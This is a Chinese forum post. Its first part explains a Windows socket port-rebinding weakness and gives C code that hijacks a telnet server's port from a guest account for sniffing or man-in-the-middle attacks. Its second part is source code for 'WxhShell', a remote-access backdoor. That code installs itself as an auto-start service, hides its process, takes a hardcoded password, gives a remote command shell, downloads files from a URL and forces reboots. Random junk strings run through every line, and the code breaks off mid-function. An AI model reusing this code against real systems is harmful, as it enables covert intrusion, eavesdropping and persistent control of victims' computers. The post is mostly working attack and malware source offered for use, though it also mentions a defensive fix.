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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: E!AE4B1bd  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); %K QQ,{ b  
|)G<,FJQE_  
  saddr.sin_family = AF_INET; a}u Sm/S  
{ BHO/q3  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); KGpA2Nx  
Lh<).<S  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); KY N0  
{}x^ri~  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 l NBL4yM  
Tb-F]lg$  
  这意味着什么?意味着可以进行如下的攻击: ,?XCyHSgWW  
2Hv+W-6v  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ctJE+1#PH  
&t-kpA|EG  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ]0\MmAJRn  
x3krbUlx  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 xP,hTE  
dq[xwRU1  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  n-OL0$Xu  
\^%}M!tan  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 D#)b+7N-  
$tS}LN_!  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ]$_NyAoBb  
k# rBB  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ! v0LBe4  
fd2T=fz-  
  #include = 9]~ yt  
  #include 6K<K  
  #include eGHaY4|  
  #include    O8.5}>gDn.  
  DWORD WINAPI ClientThread(LPVOID lpParam);   L,@lp  
  int main() ?K\axf>F  
  { jalg5`PU0  
  WORD wVersionRequested; VU d\QR-  
  DWORD ret; Wiu"k%Qsh  
  WSADATA wsaData; I.k *GW  
  BOOL val; :4%k9BGAj"  
  SOCKADDR_IN saddr; k)Qtfj}uij  
  SOCKADDR_IN scaddr; ^ovR7+V  
  int err; \K!VNB>h  
  SOCKET s; 8pgEix/M5o  
  SOCKET sc; f`=-US  
  int caddsize; ox (%5c)b|  
  HANDLE mt; d{7 +w/Zi  
  DWORD tid;   <3hRyG@vB  
  wVersionRequested = MAKEWORD( 2, 2 ); N' `A?&2ru  
  err = WSAStartup( wVersionRequested, &wsaData ); )%@J=&G8TT  
  if ( err != 0 ) { t1y4 7fX6  
  printf("error!WSAStartup failed!\n"); ]wG{!0pl  
  return -1; *ppffz  
  } Tyf`j,=  
  saddr.sin_family = AF_INET; %F4%H|G  
   'ub@]ru|  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 X(-4<B  
+&2%+[nBZ  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ?m? ::RH  
  saddr.sin_port = htons(23); d4c8~L H-  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8eHyL  
  { }@+:\   
  printf("error!socket failed!\n"); BKjS ,2C  
  return -1; 9c :cw  
  } [e}]}t8m  
  val = TRUE; @7j AL-  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 K}MK<2vU  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) h|{]B,.Lh  
  { JHTSUq  
  printf("error!setsockopt failed!\n"); Q|?L*Pq2I  
  return -1; l3I:Q^x@  
  } zsyIV!(  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; @8r pD"x  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 6.nCV 0xA  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 'F0e(He@,  
;P%1j|7  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) )"aV* "  
  { 9H`XeQ.  
  ret=GetLastError(); R3&Iu=g  
  printf("error!bind failed!\n"); WuUk9_ g  
  return -1; '=8d?aeF  
  } ofw3S |F6  
  listen(s,2); LR.<&m%~.  
  while(1) CSq4x5!_7>  
  { Oso#+  
  caddsize = sizeof(scaddr); >rKIG~P_  
  //接受连接请求 XXcl{1Kp!@  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); MPg)=LI  
  if(sc!=INVALID_SOCKET) Y;^l%ePuW  
  { ?:I*8Fj  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); E GU 0)<  
  if(mt==NULL) a>I+]`g  
  { 0 e ~JMUb  
  printf("Thread Creat Failed!\n"); :Cs4NF   
  break; 'UX!*5k<:  
  } Y}|X|!0x  
  } ca*DZG/  
  CloseHandle(mt); tKx~1-  
  } F]]]y5t  
  closesocket(s); &n}f?  
  WSACleanup(); %JD,$p Ps  
  return 0; VfC<WVYiZ  
  }   }DfshZ0QM  
  DWORD WINAPI ClientThread(LPVOID lpParam)  zC@o  
  { &LZn FR  
  SOCKET ss = (SOCKET)lpParam; `FDiX7M  
  SOCKET sc; f:|1_j  
  unsigned char buf[4096]; u^bidd6JRn  
  SOCKADDR_IN saddr; cyv`B3}  
  long num; O{G?;H$  
  DWORD val; )SRefW.v  
  DWORD ret; bj0G5dc=  
  //如果是隐藏端口应用的话,可以在此处加一些判断 9gEwh<  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   \[_t]'p  
  saddr.sin_family = AF_INET; #;q dY[v  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); >#~& -3  
  saddr.sin_port = htons(23); A) %/[GD2  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) xU>WEm2  
  { i8[t=6Rm@  
  printf("error!socket failed!\n"); #9}D4i.`}  
  return -1; X0H!/SlS  
  } 2 %@4]  
  val = 100; mD0f<gJ1  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ," Wr"  
  { aS{n8P6vW  
  ret = GetLastError(); wh\}d4gN  
  return -1; 3kIN~/<R+7  
  } ZaDyg"Tw+  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |\<`Ib4j  
  { ~u!|qM  
  ret = GetLastError(); W*4-.*U8a  
  return -1; c~$)UND^  
  } )}]g] g  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) {M$1N5Eh  
  { goRL1L,5  
  printf("error!socket connect failed!\n"); +0%w ;'9z  
  closesocket(sc); 7 60Y$/Wz  
  closesocket(ss); L9 \1+rq  
  return -1; yw[g!W  
  } MS>Ge0P("~  
  while(1) ='sHj4hU  
  { ,I$`-$_'  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ooL!TS GD  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 SSg8}m5)Q  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 88gM?G _X  
  num = recv(ss,buf,4096,0); i2A81>68<  
  if(num>0) VimE@Hz  
  send(sc,buf,num,0); Mzw<{*:r  
  else if(num==0) uR4z &y  
  break; V/LLaZ TE  
  num = recv(sc,buf,4096,0);  O67W&nz  
  if(num>0) mh{d8<Q2  
  send(ss,buf,num,0); qI9z;_,gNz  
  else if(num==0) B =T'5&  
  break; Bz-c$me1  
  } D~fl JR  
  closesocket(ss); FZ<gpIv!NS  
  closesocket(sc); ) 0W{]2  
  return 0 ; f#"J]p  
  } Q&ptc>{bH6  
y`5 9A  
 #ut  
========================================================== *NaB#;+|k`  
xY8$I6  
下边附上一个代码,,WXhSHELL vY}g<*  
w"|L:8  
========================================================== k[YS8g-Q  
NC`aP0S  
#include "stdafx.h" |?xN\O^#}  
Zw9FJ/Zn@  
#include <stdio.h> HTS0s\R$  
#include <string.h> 7wqK>Y1a  
#include <windows.h> ~2N"#b&J  
#include <winsock2.h> ({)+3]x  
#include <winsvc.h> ) 7@ `ut  
#include <urlmon.h> l0 m-$/  
o5GcpbZ3k  
#pragma comment (lib, "Ws2_32.lib") ~P,lz!he_  
#pragma comment (lib, "urlmon.lib") MYvY]Jx3  
@%uUiP0  
#define MAX_USER   100 // 最大客户端连接数 MK~8}x2K  
#define BUF_SOCK   200 // sock buffer h"Q8b}$^)  
#define KEY_BUFF   255 // 输入 buffer 69NeQ$](  
 A,<E\  
#define REBOOT     0   // 重启 2- h{N  
#define SHUTDOWN   1   // 关机 sb*G!8j  
P4'Q/Sj  
#define DEF_PORT   5000 // 监听端口 ]:-mbgW  
SHgN~ Um  
#define REG_LEN     16   // 注册表键长度 pE0Sw}A:9  
#define SVC_LEN     80   // NT服务名长度 #p&qUw  
b. '-?Nn  
// 从dll定义API 4E+e}\r:6  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); yx[/|nZDC4  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); AV]2 euyn  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ec;o\erPG  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); pah'>dAL  
\*?~Yj #  
// wxhshell配置信息 ]s'as9s9  
struct WSCFG { ; DR$iH-F  
  int ws_port;         // 监听端口 ,ZNq,$j  
  char ws_passstr[REG_LEN]; // 口令 vA{-{Q  
  int ws_autoins;       // 安装标记, 1=yes 0=no ?l{nk5,?-Y  
  char ws_regname[REG_LEN]; // 注册表键名 M|h3Wt~7  
  char ws_svcname[REG_LEN]; // 服务名 PC8Q"O  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 cuI TY^6  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 =UQ3HQD  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 + &Eqk  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Zu[su>\  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" \M^bD4';>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 U8?mc  
{VRf0c  
}; {!L~@r  
Q)h(nbbVak  
// default Wxhshell configuration #;yZ  
struct WSCFG wscfg={DEF_PORT, 1))8 A@,  
    "xuhuanlingzhe", Ti5-6%~&  
    1, S=5o < 1  
    "Wxhshell", 6cXyJW  
    "Wxhshell", Jnov<+  
            "WxhShell Service", V 5mTP'  
    "Wrsky Windows CmdShell Service", CD~.z7,LC  
    "Please Input Your Password: ", }Sv:`9=  
  1, >y 3=|  
  "http://www.wrsky.com/wxhshell.exe", 0GeTS Fj  
  "Wxhshell.exe" 7{*>agQh  
    }; #*Ctwl,T  
;.980+i1  
// 消息定义模块 li.;IWb0+)  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; } q8ASYNc  
char *msg_ws_prompt="\n\r? for help\n\r#>"; n:!_  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; O\ r0bUPE  
char *msg_ws_ext="\n\rExit."; sXPe/fWo  
char *msg_ws_end="\n\rQuit."; .ioEI sg  
char *msg_ws_boot="\n\rReboot..."; rx|pOz,:  
char *msg_ws_poff="\n\rShutdown..."; sPIn|d  
char *msg_ws_down="\n\rSave to "; 'H;*W|:-]  
xA*<0O\V  
char *msg_ws_err="\n\rErr!"; G 3ptx! D  
char *msg_ws_ok="\n\rOK!"; JWxwJex  
NzvXN1_%  
char ExeFile[MAX_PATH]; &6VnySE?  
int nUser = 0; YT,{E,U;  
HANDLE handles[MAX_USER]; wibNQ`4k  
int OsIsNt; D&y7-/  
;2QP7PrSY  
SERVICE_STATUS       serviceStatus; M_DwUS 1?  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; eaU  
eHUOU>&P]  
// 函数声明 Z% UP6%  
int Install(void); [nq@mc~<  
int Uninstall(void); Eu3E-K@y  
int DownloadFile(char *sURL, SOCKET wsh); xAm6BB c  
int Boot(int flag); C3g_! dUs  
void HideProc(void); )^hbsMhO  
int GetOsVer(void); fk-RV>yr  
int Wxhshell(SOCKET wsl); JBZ@'8eqi]  
void TalkWithClient(void *cs); -KbYOb  
int CmdShell(SOCKET sock); JucY[`|JV  
int StartFromService(void); jPkn[W# 6  
int StartWxhshell(LPSTR lpCmdLine); <#4h}_xA%  
)4;`^]F  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $*m-R*kt  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); lyhiFkO iH  
R4d=S4 i  
// 数据结构和表定义 (QB2T2x  
SERVICE_TABLE_ENTRY DispatchTable[] = .=; ;  
{ (/] J3  
{wscfg.ws_svcname, NTServiceMain}, K*dCc}:`  
{NULL, NULL} LDa1X2N  
}; >yDZw!C  
TA~{1_l  
// 自我安装 mX|ojZ  
int Install(void) a8Wwq?@  
{ pfI&E#:5  
  char svExeFile[MAX_PATH]; -UT}/:a  
  HKEY key;  !}$$:  
  strcpy(svExeFile,ExeFile); sDV Q#}a  
hE-M$LmN@  
// 如果是win9x系统,修改注册表设为自启动 7 X4LJf  
if(!OsIsNt) { 1h5 Akq  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 32 =z)]FZ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); e96k{C`j0  
  RegCloseKey(key); 5@W j>:w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x,Vr=FB  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |wj?ed$ f  
  RegCloseKey(key); /Ci<xmP  
  return 0; i}?>g-(  
    } Kc(FX%3LU  
  } ? =+WRjF  
} syK^<xa  
else { Z/J y'$x  
&+R?_Ooibk  
// 如果是NT以上系统,安装为系统服务 D1;QC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :U x_qB  
if (schSCManager!=0) +nGAz{&@r%  
{ GPkpXVm  
  SC_HANDLE schService = CreateService 0ZO2#>gh$  
  ( v.5+7,4  
  schSCManager, <0?W{3NqI  
  wscfg.ws_svcname, xN%K^Tree  
  wscfg.ws_svcdisp, _J[P[(ab  
  SERVICE_ALL_ACCESS, po7qmLq  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Q NVa?'0"Y  
  SERVICE_AUTO_START, o _H`o&xr  
  SERVICE_ERROR_NORMAL, S21,VpW\  
  svExeFile, ~u+9J}  
  NULL, VLN_w$iEq  
  NULL, gPc=2  
  NULL, 7=, ;h  
  NULL, & ZB  
  NULL 2GStN74Xr  
  ); 3oG,E;(  
  if (schService!=0) >-{Hyx  
  { \D&KC,i5f  
  CloseServiceHandle(schService); xn|(9#1o  
  CloseServiceHandle(schSCManager); u> / TE  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 5NLDYi@3  
  strcat(svExeFile,wscfg.ws_svcname); ;6hOx(>`=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ,,|^%Ct']  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); '[O;zJN;  
  RegCloseKey(key); z&^&K}  
  return 0; 6\S~P/PkE  
    } ;ovP$ vl>  
  } #LN`X8Wz'  
  CloseServiceHandle(schSCManager); & "B=/-(  
} S`?!G&[!>  
} kz7(Z'pw  
0Fr?^3h  
return 1; ]jRfH(i  
} Q)z8PQl O  
]"1DGg \A  
// 自我卸载 VOh4#%Vj  
int Uninstall(void) 7})[lL`\s  
{ $ o#V#  
  HKEY key; jm r"D>  
;P&OX5~V  
if(!OsIsNt) { {T~#?v(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { eGbG w  
  RegDeleteValue(key,wscfg.ws_regname); m<2M4u   
  RegCloseKey(key); !_Z&a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^L&iR0  
  RegDeleteValue(key,wscfg.ws_regname); F^fdIZx  
  RegCloseKey(key); _2 osV[e  
  return 0; Xm2z}X(%  
  } Ok\7y-w^  
} 1 I",L&S1  
} %C_HXr@  
else { YkQd  
t9IW/Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |)/aGZ+  
if (schSCManager!=0) KdbHyg<4  
{ 9490o:s  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); &~U ]~;@  
  if (schService!=0) 8Kk(8a&v  
  { P J[`|  
  if(DeleteService(schService)!=0) { ;@E$}*3[>V  
  CloseServiceHandle(schService); 0NX,QD  
  CloseServiceHandle(schSCManager); ?p8_AL'RS  
  return 0; pIKPXqA  
  } r^ ZEImjc  
  CloseServiceHandle(schService); !brf(-sr)  
  } uOdl*|T?  
  CloseServiceHandle(schSCManager); R]*K:~DM  
} x;<W&s}(  
} [0D .K}7|  
>Wg hn:^  
return 1; k~ /Nv=D  
} >`ZyG5  
\v)+.m?n  
// 从指定url下载文件 8E]F$.6U  
int DownloadFile(char *sURL, SOCKET wsh) XACm[NY_  
{ s.NGA.]$  
  HRESULT hr; p0<\G  
char seps[]= "/"; 0}q uG^%_  
char *token; e'D&8z_;  
char *file; O]1(FWYy  
char myURL[MAX_PATH]; %;YHt=(1*X  
char myFILE[MAX_PATH]; y;@:ulv[  
N7R!C)!IL  
strcpy(myURL,sURL); !H>R%g#28_  
  token=strtok(myURL,seps); y>e.~5;  
  while(token!=NULL) LOV)3{m  
  { 2WxQ(:d=  
    file=token; $43qME  
  token=strtok(NULL,seps); 3fQuoQuD"}  
  } pgZXJ  
0T5L_%c  
GetCurrentDirectory(MAX_PATH,myFILE); OMg<V  
strcat(myFILE, "\\"); V-L"gnd&2  
strcat(myFILE, file); ThbGQ"/  
  send(wsh,myFILE,strlen(myFILE),0); v^iL5y!  
send(wsh,"...",3,0); m#Z# .j_2  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Px`!A EFd[  
  if(hr==S_OK) j+v=Ul|l  
return 0; HcSXsF  
else O~K>4 ax  
return 1; (|1A?@sJ#h  
O2dW6bt  
} hJ~Uf5Q  
Jd^,]  
// 系统电源模块 >y:,9;  
int Boot(int flag) q2:6QM&  
{ &t:Gx<]  
  HANDLE hToken; qfRH5)k  
  TOKEN_PRIVILEGES tkp; t$#jL5  
HLaRGN3,  
  if(OsIsNt) { p/@smke  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); d8=x0~7  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @>>~CZ`l  
    tkp.PrivilegeCount = 1; (tw)nF  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; r{I% \R!@  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); |kV*Jc k  
if(flag==REBOOT) { } .y 1;.  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) c?&X?<  
  return 0; <oA7'|Bu<  
} I5n^,@md  
else { T\j{Bi5 \J  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) KP5C} ZK+s  
  return 0; %Ax3;g#  
} ?FF4zI~  
  } v4c[(&  
  else { (~wqa 3  
if(flag==REBOOT) { Rww{:R  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) o{q{!7DH@  
  return 0; ?3zc=J"t  
} 8sM|%<$=j  
else { n+q!l&&  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) z Q`jP$2  
  return 0; ^^as'Dk  
} f"SD/]q-  
}  fc-iAj  
:^WKT  
return 1; ,J^b0@S  
} VZymM<O  
yvH A7eq*"  
// win9x进程隐藏模块 mmEYup(l0;  
void HideProc(void) ERE)A-8  
{ Zrk4*/ VY  
 s ;oQS5Y  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ^l=!JP=M=  
  if ( hKernel != NULL ) !1DKLQ  
  { W~~7 C,!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); vAh6+K.e  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); v)l8@.  
    FreeLibrary(hKernel); #W'HR  
  } 2s&*  
Z/0fXn})  
return; wKY Za# u  
} _c*=4y  
[nc4{0aT'  
// 获取操作系统版本 sRx63{  
int GetOsVer(void) Avd ^  
{ =`:K{loxq  
  OSVERSIONINFO winfo; 8I8 F/47x  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); &U raUl  
  GetVersionEx(&winfo); uK$9Ll{lk  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) +"cq(Y@  
  return 1; BJB^m|b)  
  else 57zSu3v4Y  
  return 0; Xti[[sJ  
} y8L D7<1u  
eg?<mKrZ  
// 客户端句柄模块 WDc+6/<  
int Wxhshell(SOCKET wsl) C8e !H  
{ 36%nB*  
  SOCKET wsh; cc&axc7I  
  struct sockaddr_in client; ZP *q4:  
  DWORD myID; {7;8#.S72  
'EF9Zt8  
  while(nUser<MAX_USER) E4W -hq~  
{ ?R Oqn6k&c  
  int nSize=sizeof(client); ^G.Xc\^w:  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); N#7QzB9]  
  if(wsh==INVALID_SOCKET) return 1; rI>aAW'  
Mjfx~I27  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); RGg(%.  
if(handles[nUser]==0) Q`D~5ci  
  closesocket(wsh); C>$E%=h+_  
else , GY h9  
  nUser++; qg!|l7e  
  } x&9hI  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }L3oR  
4%}*&nsI-Z  
  return 0; :Jy'# c  
} [}8|R0KF  
kc @[9eV  
// 关闭 socket T/xp?Vq6/  
void CloseIt(SOCKET wsh) @,u/w4  
{ !+4cqO  
closesocket(wsh); :GW&O /Yo  
nUser--; xw T%),  
ExitThread(0); 9h%?QC  
} }_;!hdY q  
r'uGWW"w  
// 客户端请求句柄 x.zbD8l/9  
void TalkWithClient(void *cs) 1~ t{aLPz  
{ DrBUe'RH:M  
%]6~Eq%s  
  SOCKET wsh=(SOCKET)cs; ]Xf% ,iu  
  char pwd[SVC_LEN]; P=&o%K,:f  
  char cmd[KEY_BUFF]; gV`=jAE_  
char chr[1]; Z]WnG'3N  
int i,j; l)w Hl%p  
o{EC&-  
  while (nUser < MAX_USER) { E)7F\w  
Wg0g/  
if(wscfg.ws_passstr) { f0<%&2ym  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f<*Js)k  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); iNWo"=J  
  //ZeroMemory(pwd,KEY_BUFF); 3a 1u  
      i=0; ,4,V4 N  
  while(i<SVC_LEN) { ]f: v,a  
)a3J9a;ZS0  
  // 设置超时 {^rs#, W  
  fd_set FdRead; N, *m ,  
  struct timeval TimeOut; <[J[idY1he  
  FD_ZERO(&FdRead); xD /9F18  
  FD_SET(wsh,&FdRead); .tmiQ.  
  TimeOut.tv_sec=8; >'xGp7}y  
  TimeOut.tv_usec=0; /c-r  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); hj$ e|arB  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); A@D2+fS  
c$`4*6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q33"u/-v  
  pwd=chr[0]; V0(o~w/W%!  
  if(chr[0]==0xd || chr[0]==0xa) { ^o@,3__7Q  
  pwd=0; 6ubL1K  
  break; st &  
  } >'5_Y]h4m|  
  i++; 1 s*.A6EP"  
    } + "}=d3E6  
Rqy0Q8K<  
  // 如果是非法用户,关闭 socket GK}'R=   
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); TtDg*kZ  
} y}K\%;`[a  
G"59cv8z4R  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);  6vTo*8D  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (ihP `k-.  
qcJft'>F  
while(1) { Dbaf0  
Lru-u:  
  ZeroMemory(cmd,KEY_BUFF); j! NO|&k  
X$b={]b  
      // 自动支持客户端 telnet标准   ph|ZG6:  
  j=0; [;oCYb$9  
  while(j<KEY_BUFF) { vN OH&ja-s  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >x@P|\  
  cmd[j]=chr[0]; #Hh^3N  
  if(chr[0]==0xa || chr[0]==0xd) { '[(nmx'yVJ  
  cmd[j]=0; b2^AP\: k  
  break;  /n^c>)  
  } qxJQPz  
  j++; T\# *S0^  
    } h2;z 4  
nCvPB/-  
  // 下载文件 Hv<'dt$|  
  if(strstr(cmd,"http://")) { V' 2EPYB  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); s& {Qdf  
  if(DownloadFile(cmd,wsh)) 5[9 bWB{  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5NXt$k5  
  else aSYs_?&.  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7W9d6i)  
  } ! sA_?2$  
  else { >Dg#9  
+|%Sx  
    switch(cmd[0]) { A?"h@-~2  
  ,rwuy[Q8  
  // 帮助 <;t)6:N\  
  case '?': { V5GkP1L  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); n1:v HBM@\  
    break; i!dv0|_  
  } baoD(0d  
  // 安装 i(wgB\9i4  
  case 'i': { 2#/p|$;Ec'  
    if(Install()) qturd7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b}zBn8l  
    else h#Ce_,o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )yb+M ez  
    break; {-63/z  
    } I7\ &Z q  
  // 卸载 I/COqU7~  
  case 'r': { EkKnUD  
    if(Uninstall()) -05U%l1e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SLk2X;c]o  
    else ~HUZ#rUHm>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _b4fS'[  
    break; f!-Sz/c#  
    } fjDpwb:x)  
  // 显示 wxhshell 所在路径 c! H 9yk  
  case 'p': { L]2< &%N2  
    char svExeFile[MAX_PATH]; ^,2c-  
    strcpy(svExeFile,"\n\r"); *"G8  
      strcat(svExeFile,ExeFile); /'>;JF  
        send(wsh,svExeFile,strlen(svExeFile),0); i&@,5/'-_O  
    break; X#+`e+Df  
    } 8gmn6dCf  
  // 重启 {B yn{?w  
  case 'b': { D?+ RJs  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <qiICb)~  
    if(Boot(REBOOT)) n'64;J5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ! VRI_c  
    else { {u 30r c"  
    closesocket(wsh); o|2 87S|$  
    ExitThread(0); !J.rM5K  
    } <~%t$:  
    break; ix Ow=!@  
    } 8g5V,3_6  
  // 关机 bBE^^9G=Z  
  case 'd': { z=?0)e(H,  
